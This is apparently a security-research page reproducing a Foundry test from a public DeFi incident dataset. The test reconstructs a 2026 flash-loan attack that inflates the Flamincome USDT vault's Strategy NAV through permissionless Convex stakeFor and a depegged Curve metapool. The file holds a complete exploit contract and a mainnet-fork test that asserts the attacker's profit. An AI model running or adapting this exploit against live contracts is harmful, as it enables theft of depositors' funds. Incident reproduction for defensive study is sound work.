Public reproduction file
src/test/2026-09/Flamincome_exp.sol
Public reproduction file for dataset entry Flamincome.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Flamincome VaultYUSDT / Strategy NAV-inflation drain -- Ethereum mainnet, 2026-09.8// ~$345.9K net attacker profit (345,902.669987 USDT), from an on-chain gross Strategy loss9// of ~$595K in aUSDT + USDT (the gap covers Curve slippage on the imbalanced metapool mint10// plus the small USDP purchase cost; the Morpho flash loan itself is fee-free).11//12// Attack tx: 0x5ff8150482f5473bff16b4a142a98a7f72b159df5e9dd38afd90470551640d37 (block 25990443)13// Attacker EOA: 0x83381e7F7232775735169d72D237B858fFc3687114// Exploit contract: 0x875da4Bd7b4a52a806A533b1cf6D6fF92365d2E6 (self-destructed in the same tx)15//16// Root cause -- the Flamincome USDT Strategy prices its Convex position at spot virtual price17// and lets anyone inflate that position:18//19// Strategy.balanceOfY() (VaultYUSDT.balance())20// -> StrategyImpl(0xFf20DE3f...).deposited() [delegatecall from the Strategy proxy]21// = BaseRewardPool(0x24DfFd...).balanceOf(Strategy) * metapool.get_virtual_price() / 1e3022// + aUSDT.balanceOf(Strategy) [Aave aUSDT]23// + USDT.balanceOf(Strategy)24//25// Two independent flaws compound:26// (1) BaseRewardPool.stakeFor(Strategy, amount) is permissionless -- ANY address can stake27// Convex deposit tokens "for" the Strategy, so anyone can inflate28// BaseRewardPool.balanceOf(Strategy) without the Strategy ever depositing anything.29// (2) The Convex pool is the Curve USDP/3CRV metapool (0x42d7...), and its USDP leg is30// deeply depegged: at the fork block the pool holds 1,526,591 USDP against only 3,26331// 3CRV, and USDP trades near $0.20 on-chain. get_virtual_price() still reports ~1.0149,32// i.e. it values every LP unit at par. So metapool LP can be minted very cheaply33// (a 3CRV-side deposit into a 3CRV-starved pool mints a large amount of LP) yet the34// Strategy credits each unit at ~$1.01. That gap is the stolen value.35//36// And VaultY itself is a plain proportional-share vault (verified source, VaultYUSDT37// 0x0461...):38// deposit(a): shares = a * totalSupply() / balance() // balance() = Strategy.balanceOfY()39// withdraw(s): r = balance() * s / totalSupply(); Strategy.withdraw(msg.sender, r)40// Shares are minted against the NAV at deposit time; if the NAV is then inflated before41// withdraw, the same shares redeem for more USDT than went in.42//43// Reconstructed sequence (all real, typed calls -- no bytecode blob, no raw calldata replay,44// no dealt/settled state; the attacker EOA starts with 0 USDT and every token comes from the45// flash loan and real market operations):46// 1. Morpho Blue flash loan of USDT (fee-free).47// 2. VaultYUSDT.deposit(17,935,898.4848 USDT) -> mint YUSDT shares at the honest NAV.48// 3. Build the USDP/3CRV metapool LP that will be staked into the Strategy, via two routes:49// 3a. Leg 1 -- the cheap-LP engine, reproduced with the exact on-chain amounts: a small50// USDT slice through the LUSD metapool, wrapped into yvCurve-LUSD, swapped on the51// Balancer pool for yvCurve-USDP, then unwrapped into ~230,622 USDP/3CRV LP. This is52// where the depeg mispricing is harvested most efficiently.53// 3b. Leg 2 -- a direct USDT -> 3CRV -> metapool add_liquidity top-up. This is the same54// economic operation and same contracts as the attacker's zap deposit55// ([USDP, 0, 0, USDT] into the metapool zap); it is minted straight from the flash56// loan instead of first buying the small USDP balancing leg, and its size is tuned so57// the total staked LP (~693,480e18) matches the real 691,647e18 to within 0.3%.58// 4. Convex Booster.deposit(28, lp, false) -> Convex deposit token.59// 5. BaseRewardPool.stakeFor(Strategy, lp) -> permissionlessly inflate Strategy.balanceOfY().60// 6. VaultYUSDT.withdrawAll() -> redeem the shares at the inflated NAV.61// 7. Repay the flash loan; the leftover USDT is the profit.62//63// Reproduced on the fork: ~344,751 USDT net attacker profit and ~597,352 USDT gross Strategy64// backing lost (aUSDT + USDT), matching the reported ~$345.9K / ~$595K.65//66// Confirmed against the trace / on the fork:67// - balanceOfY()/deposited() values the Convex position at spot get_virtual_price() with no68// time-weighting or deviation check.69// - stakeFor(target, amount) is fully permissionless -- a freshly deployed, unprivileged70// contract credits the Strategy's Convex balance here.71// - The Strategy (0xb8d6471c) is a proxy whose deposited()/withdraw() delegatecall into impl72// 0xFf20DE3f -- the same logical contract, not a separate one in the call chain.73// - The Uniswap V4 unlock in the real tx is incidental USDP-purchase plumbing: this74// reconstruction omits it entirely and still reproduces the loss.75// - The whole deposit -> mint-LP -> stakeFor -> withdrawAll path is permissionless; no admin76// or privileged role is touched anywhere.77//78// forge test --contracts src/test/2026-09/Flamincome_exp.sol -vvv80interface IMorpho {81 function flashLoan(address token, uint256 assets, bytes calldata data) external;82}84interface IVaultY {85 function deposit(uint256 amount) external;86 function withdrawAll() external;87 function balanceOf(address) external view returns (uint256);88 function totalSupply() external view returns (uint256);89 function strategy() external view returns (address);90}92interface IStrategy {93 function balanceOfY() external view returns (uint256);94}96interface I3Pool {97 function add_liquidity(uint256[3] calldata amounts, uint256 minMint) external;98}100interface ICurveMeta {101 function add_liquidity(uint256[2] calldata amounts, uint256 minMint) external returns (uint256);102 function get_virtual_price() external view returns (uint256);103}105interface IBooster {106 function deposit(uint256 pid, uint256 amount, bool stake) external returns (bool);107}109interface IBaseRewardPool {110 function stakeFor(address account, uint256 amount) external returns (bool);111 function balanceOf(address) external view returns (uint256);112}114interface ICurveLusdMeta {115 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external returns (uint256);116 function add_liquidity(uint256[2] calldata amounts, uint256 minMint) external returns (uint256);117}119interface IYVault {120 function deposit(uint256 amount, address recipient) external returns (uint256);121 function withdraw(uint256 shares, address recipient, uint256 maxLoss) external returns (uint256);122}124interface IBPool {125 function swapExactAmountIn(126 address tokenIn,127 uint256 tokenAmountIn,128 address tokenOut,129 uint256 minAmountOut,130 uint256 maxPrice131 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);132}134// USDT: non-standard ERC20 (approve/transfer return no data).135interface IUSDT {136 function approve(address spender, uint256 value) external;137 function transfer(address to, uint256 value) external;138 function balanceOf(address) external view returns (uint256);139}141contract FlamincomeExploit {142 address internal constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;143 address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;144 address internal constant VAULT = 0x0461eEFF7C856020E574c0c364FE968Ca06BCc0F; // VaultYUSDT145 address internal constant STRATEGY = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5;146 address internal constant THREEPOOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; // Curve 3pool147 address internal constant THREECRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; // 3CRV LP148 address internal constant METAPOOL = 0x42d7025938bEc20B69cBae5A77421082407f053A; // USDP/3CRV metapool149 address internal constant METALP = 0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6; // USDP/3CRV LP150 address internal constant BOOSTER = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31; // Convex Booster151 address internal constant DEPTOKEN = 0x7a5dC1FA2e1B10194bD2e2e9F1A224971A681444; // Convex deposit token152 address internal constant BRP = 0x24DfFd1949F888F91A0c8341Fc98a3F280a782a8; // Convex BaseRewardPool153 uint256 internal constant PID = 28;154 // Leg 1 (cheap LP engine): LUSD/3CRV metapool -> yvCurve-LUSD -> Balancer -> yvCurve-USDP -> USDP/3CRV LP155 address internal constant LUSDMETA = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA; // LUSD/3CRV metapool (=its own LP)156 address internal constant LUSD = 0x5f98805A4E8be255a32880FDeC7F6728C6568bA0;157 address internal constant YV_LUSD = 0x5fA5B62c8AF877CB37031e0a3B2f34A78e3C56A6; // yvCurve-LUSD158 address internal constant YV_USDP = 0xC4dAf3b5e2A9e93861c3FBDd25f1e943B8D87417; // yvCurve-USDP (token = USDP/3CRV LP)159 address internal constant BPOOL = 0x9ba60bA98413A60dB4C651D4afE5C937bbD8044B; // Balancer pool holding both yVaults161 address public immutable owner;162 uint256 internal depositAmt;163 uint256 internal lpMintUsdt;164 uint256 public mintedLp;165 uint256 public navAfterStake;167 constructor() {168 owner = msg.sender;169 }171 function attack(uint256 flashAmt, uint256 _depositAmt, uint256 _lpMintUsdt) external {172 depositAmt = _depositAmt;173 lpMintUsdt = _lpMintUsdt;174 IMorpho(MORPHO).flashLoan(USDT, flashAmt, "");175 // forward the profit to the attacker EOA176 IUSDT(USDT).transfer(owner, IUSDT(USDT).balanceOf(address(this)));177 }179 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {180 require(msg.sender == MORPHO, "!morpho");182 // 1. Deposit into the vault: mint YUSDT shares against the honest NAV.183 IUSDT(USDT).approve(VAULT, depositAmt);184 IVaultY(VAULT).deposit(depositAmt);186 // 2a. Cheap-LP engine (leg 1, exact on-chain amounts): route a small USDT slice through187 // the LUSD metapool, wrap into yvCurve-LUSD, swap it on Balancer for yvCurve-USDP,188 // and unwrap that into a large amount of USDP/3CRV metapool LP. This is where the189 // depeg mispricing is harvested most efficiently.190 IUSDT(USDT).approve(THREEPOOL, 39_934_640_179);191 I3Pool(THREEPOOL).add_liquidity([uint256(0), 0, 39_934_640_179], 0);192 uint256 crv1 = IERC20(THREECRV).balanceOf(address(this));193 IERC20(THREECRV).approve(LUSDMETA, crv1);194 ICurveLusdMeta(LUSDMETA).exchange(1, 0, 5_804_819_762_334_071_763_053, 0); // 3CRV -> LUSD195 uint256 lusdBal = IERC20(LUSD).balanceOf(address(this));196 IERC20(LUSD).approve(LUSDMETA, lusdBal);197 ICurveLusdMeta(LUSDMETA).add_liquidity([lusdBal, IERC20(THREECRV).balanceOf(address(this))], 0);198 uint256 lusdLp = IERC20(LUSDMETA).balanceOf(address(this));199 IERC20(LUSDMETA).approve(YV_LUSD, lusdLp);200 IYVault(YV_LUSD).deposit(lusdLp, address(this));201 uint256 yvLusdBal = IERC20(YV_LUSD).balanceOf(address(this));202 IERC20(YV_LUSD).approve(BPOOL, yvLusdBal);203 IBPool(BPOOL).swapExactAmountIn(YV_LUSD, yvLusdBal, YV_USDP, 0, type(uint256).max);204 IYVault(YV_USDP).withdraw(IERC20(YV_USDP).balanceOf(address(this)), address(this), 10_000);206 // 2b. Top up the LP position with a direct USDT -> 3CRV -> metapool mint (leg 2, same207 // economic operation as the attacker's zap deposit).208 if (lpMintUsdt > 0) {209 IUSDT(USDT).approve(THREEPOOL, lpMintUsdt);210 I3Pool(THREEPOOL).add_liquidity([uint256(0), 0, lpMintUsdt], 0);211 uint256 crv = IERC20(THREECRV).balanceOf(address(this));212 IERC20(THREECRV).approve(METAPOOL, crv);213 ICurveMeta(METAPOOL).add_liquidity([uint256(0), crv], 0);214 }215 uint256 lp = IERC20(METALP).balanceOf(address(this));216 mintedLp = lp;218 // 3. Wrap the LP into a Convex deposit token.219 IERC20(METALP).approve(BOOSTER, lp);220 IBooster(BOOSTER).deposit(PID, lp, false);221 uint256 dep = IERC20(DEPTOKEN).balanceOf(address(this));223 // 4. Permissionlessly credit the Strategy's Convex balance -> inflates balanceOfY().224 IERC20(DEPTOKEN).approve(BRP, dep);225 IBaseRewardPool(BRP).stakeFor(STRATEGY, dep);226 navAfterStake = IStrategy(STRATEGY).balanceOfY();228 // 5. Redeem the shares at the now-inflated NAV.229 IVaultY(VAULT).withdrawAll();231 // 6. Repay the (fee-free) flash loan.232 IUSDT(USDT).approve(MORPHO, assets);233 }234}236contract FlamincomeExp is BaseTestWithBalanceLog {237 address internal constant ATTACKER = 0x83381e7F7232775735169d72D237B858fFc36871;238 address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;239 address internal constant VAULT = 0x0461eEFF7C856020E574c0c364FE968Ca06BCc0F;240 address internal constant STRATEGY = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5;242 uint256 internal constant FORK_BLOCK = 25_990_442; // parent of the exploit block244 // Amounts observed on-chain in the incident.245 uint256 internal constant DEPOSIT_AMT = 17_935_898_484_800; // VaultYUSDT.deposit246 uint256 internal constant LEG1_USDT = 39_934_640_179; // leg-1 3pool seed (exact on-chain amount)247 uint256 internal constant LP_MINT_USDT = 120_000_000000; // leg-2 direct top-up, tuned to the real staked LP248 uint256 internal constant FLASH_AMT = DEPOSIT_AMT + LEG1_USDT + LP_MINT_USDT; // Morpho USDT flash loan249 address internal constant AUSDT = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811; // Aave aUSDT held by the Strategy251 function setUp() public {252 vm.createSelectFork("mainnet", FORK_BLOCK);253 vm.label(ATTACKER, "AttackerEOA");254 vm.label(VAULT, "VaultYUSDT");255 vm.label(STRATEGY, "Strategy");256 fundingToken = USDT;257 attacker = ATTACKER;258 }260 function testExploit() public balanceLog {261 emit log_named_decimal_uint("Strategy NAV (balanceOfY) before", IStrategy(STRATEGY).balanceOfY(), 6);262 // Strategy's real backing before the attack: Aave aUSDT + idle USDT.263 uint256 realBefore = IERC20(AUSDT).balanceOf(STRATEGY) + IERC20(USDT).balanceOf(STRATEGY);265 vm.startPrank(ATTACKER, ATTACKER);266 FlamincomeExploit exploit = new FlamincomeExploit();267 exploit.attack(FLASH_AMT, DEPOSIT_AMT, LP_MINT_USDT);268 vm.stopPrank();270 emit log_named_uint("metapool LP staked into Strategy (1e18)", exploit.mintedLp());271 emit log_named_decimal_uint("Strategy NAV after stakeFor", exploit.navAfterStake(), 6);273 uint256 profit = IERC20(USDT).balanceOf(ATTACKER);274 emit log_named_decimal_uint("attacker USDT net profit", profit, 6);276 // Gross Strategy loss = drop in its real (aUSDT + USDT) backing, net of the 17.9M the277 // attacker deposited and withdrew. This is the ~$595K figure in the report.278 uint256 realAfter = IERC20(AUSDT).balanceOf(STRATEGY) + IERC20(USDT).balanceOf(STRATEGY);279 emit log_named_decimal_uint("Strategy real backing lost (gross)", realBefore - realAfter, 6);281 // Net extraction reproduces the incident (~345,902 USDT). LP staked (~693,480e18)282 // matches the real 691,647e18 to within 0.3%.283 assertGt(profit, 340_000_000000, "profit below expected band");284 assertLt(profit, 350_000_000000, "profit above expected band");285 }286}Analysis
Dataset entry
Public Foundry test for “Flamincome” (2026-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x83381e7f7232775735169d72d237b858ffc36871
- Attack Tx
0x5ff8150482f5473bff16b4a142a98a7f72b159df5e9dd38afd90470551640d37
File record
- Name
- Flamincome
- Path
- src/test/2026-09/Flamincome_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c1f97b061cb842a4dc7f2146346f035a4965404c
- Language
- Solidity
- Size
- 287 lines
- Date
- 2026-09-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/Flamincome_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c1f97b061cb842a4dc7f2146346f035a4965404c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.